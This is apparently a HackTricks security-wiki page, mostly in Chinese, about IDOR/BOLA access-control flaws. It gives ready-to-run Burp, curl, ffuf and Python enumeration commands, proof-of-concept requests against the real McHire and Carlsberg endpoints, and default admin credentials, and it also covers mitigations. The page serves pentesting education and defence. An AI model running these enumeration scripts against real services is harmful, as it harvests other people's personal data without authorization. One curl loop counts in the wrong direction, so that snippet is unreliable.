IDOR (Insecure Direct Object Reference)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) 出现在 web 或 API 端点公开或接受一个由用户可控的标识符,该标识符被 直接 用于访问内部对象,且 未验证调用者是否被授权 访问/修改该对象。 成功利用通常允许水平或垂直的权限提升,例如读取或修改其他用户的数据,在最坏的情况下可导致完全接管账户或 mass-data exfiltration。
1. 识别潜在的 IDORs
- 查找 引用对象的参数:
- 路径:
/api/user/1234,/files/550e8400-e29b-41d4-a716-446655440000 - 查询:
?id=42,?invoice=2024-00001 - 请求体 / JSON:
{"user_id": 321, "order_id": 987} - 头部 / Cookies:
X-Client-ID: 4711
- 优先关注那些 读取或更新 数据的端点(
GET,PUT,PATCH,DELETE)。 - 注意标识符是否 连续或可预测 – 如果你的 ID 是
64185742,那么64185741很可能存在。 - 探索隐藏或替代流程(例如登录页中的 “Paradox team members” 链接),这些可能暴露额外的 APIs。
- 使用 已认证的低权限会话,仅更改 ID 并保持相同的 token/cookie。未出现授权错误通常是 IDOR 的一个迹象。
Quick manual tampering (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
自动化枚举 (Burp Intruder / curl loop)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
枚举可预测的下载 ID (ffuf)
带身份验证的文件托管面板通常会在单个 files 表中存储每个用户的元数据,并暴露诸如 /download.php?id=<int> 的下载端点。如果处理程序仅检查 ID 是否存在(而不检查它是否属于已认证用户),你可以使用有效的 session cookie 扫描整数空间并窃取其他租户的备份/配置:
ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json # fetch surviving IDs such as company backups or signing keys
-fr删除 404-style 模板,因此只保留真实命中(例如,IDs 54/150 leaking 完整站点备份和签名材料)。- 相同的 FFUF 工作流程也适用于 Burp Intruder 或 curl 循环——只需在递增 ID 时保持已认证状态。
已认证的组合枚举 (ffuf + jq)
一些 IDORs 接受 multiple object IDs(例如,两名用户之间的聊天线程)。如果应用仅检查你已登录,你可以在保持 session cookie 的同时 fuzz 两个 ID:
ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \
-w <(seq 1 62):NUM1 -w <(seq 1 62):NUM2 \
-H 'Cookie: PHPSESSID=<session>' \
-ac -o chats.json -of json
然后,用 jq 对 JSON 输出进行后处理,删除对称重复项 (A,B) 与 (B,A),只保留唯一的配对:
jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | .url' chats.json
错误响应 oracle 用于 user/file enumeration
当一个下载端点同时接受 username 和 filename(例如 /view.php?username=<u>&file=<f>)时,错误消息的细微差异通常会形成一个 oracle:
- 不存在的 username → “User not found”
- 错误的 filename 但 extension 有效 → “File does not exist”(有时也会列出可用文件)
- 错误的 extension → 验证错误
在任何已认证的会话中,你可以在保持一个良性 filename 的同时 fuzz username 参数,并基于 “user not found” 字符串进行筛选以发现有效用户:
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
一旦识别出有效用户名,可直接请求特定文件(例如 /view.php?username=amanda&file=privacy.odt)。这种模式通常会导致未授权披露其他用户的文档以及 credential leakage。
2. 现实世界案例研究 – McHire Chatbot Platform (2025)
在对由 Paradox.ai 驱动的 McHire 招聘门户进行评估时,发现了以下 IDOR:
- 端点:
PUT /api/lead/cem-xhr - Authorization:user session cookie,适用于 任何 餐厅测试帐户
- 请求体参数:
{"lead_id": N}– 8 位、顺序 的数字标识符
通过减小 lead_id,测试者检索到任意申请者的 full PII(姓名、电子邮件、电话、地址、班次偏好),并获得一个允许会话劫持的消费者 JWT。对范围 1 – 64,185,742 的枚举揭露了大约 64 million 条记录。
Proof-of-Concept request:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
Combined with 默认管理员凭证 (123456:123456) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
案例研究 – 腕带二维码作为弱 bearer tokens (2025–2026)
Flow: 展览访客收到带有 QR 码的腕带;扫描 https://homeofcarlsberg.com/memories/ 让浏览器获取印刷的 printed wristband ID,hex-encode 它,并调用 cloudfunctions.net 后端以获取存储的媒体(照片/视频 + 姓名)。没有 session binding 或 user authentication — knowledge of the ID = authorization。
Predictability: 腕带 ID 遵循短模式,例如 C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30)。密钥空间估计约 ~26M 组合,在线穷举非常容易。
Exploitation workflow with Burp Intruder:
- Payload generation: 构造候选 ID(例如
[A-Z]-###-###)。使用 Burp Intruder 的 Pitchfork 或 Cluster Bomb 攻击,在字母和数字位置设置 payload。添加 payload processing rule → Add prefix/suffix → payload encoding: ASCII hex,使每个请求传输后端期望的十六进制字符串。 - Response grep: 在 Intruder 中标记 grep-match,匹配仅出现在有效响应中的标记(例如媒体 URL/JSON 字段)。无效 ID 通常返回空数组或 404。
- Throughput measurement: 约 1,000,000 个 ID 在笔记本上约 2 小时内测试完成(约 ~139 req/s)。按此速率,全密钥空间(~26M)约需 ~52 小时。本次样本运行已暴露约 500 个有效腕带(视频 + 全名)。
- Rate-limiting verification: 在厂商声称有限流控后,重跑相同的 Intruder 配置。相同的 throughput/hit-rate 证明该控制不存在或无效;枚举毫无阻碍地继续。
Quick scriptable variant (client-side hex encoding):
import requests
def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)
for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())
Lesson: 编码 (ASCII→hex/Base64) 并不会增加熵;短 ID 会变成可枚举的 bearer tokens,即使做了表面编码也无法阻止枚举。如果没有基于用户的授权和高熵密钥,media/PII 仍可被批量收集,即使声称有“rate limiting”。
3. IDOR / BOLA 的影响
- 水平升级 – 读取/更新/删除 其他用户 的数据。
- 垂直升级 – 低权限用户获得管理员专用功能。
- 如果标识符是顺序的(例如 申请者 ID、发票),可能发生大规模数据泄露。
- 通过窃取 tokens 或重置其他用户密码实现账户接管。
4. 缓解措施与最佳实践
- 在每个请求上强制对象级授权 (
user_id == session.user)。 - 优先使用 间接、不可猜测的标识符(UUIDv4, ULID)而不是自增 ID。
- 在 服务端 执行授权,永远不要依赖隐藏表单字段或 UI 控件。
- 在中央中间件中实现 RBAC / ABAC 检查。
- 添加 rate-limiting & logging 以检测 ID 枚举。
- 对每个新端点进行安全测试(单元、集成和 DAST)。
5. 工具
- BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github projects:
bwapp-idor-scanner,Blindy(bulk IDOR hunting).
参考资料
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII
- OWASP Top 10 – Broken Access Control
- How to Find More IDORs – Vickie Li
- HTB Nocturnal: IDOR oracle → file theft
- 0xdf – HTB Era: predictable download IDs → backups and signing keys
- 0xdf – HTB: Guardian
- Carlsberg memories wristband IDOR – predictable QR IDs + Intruder brute force (2026)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


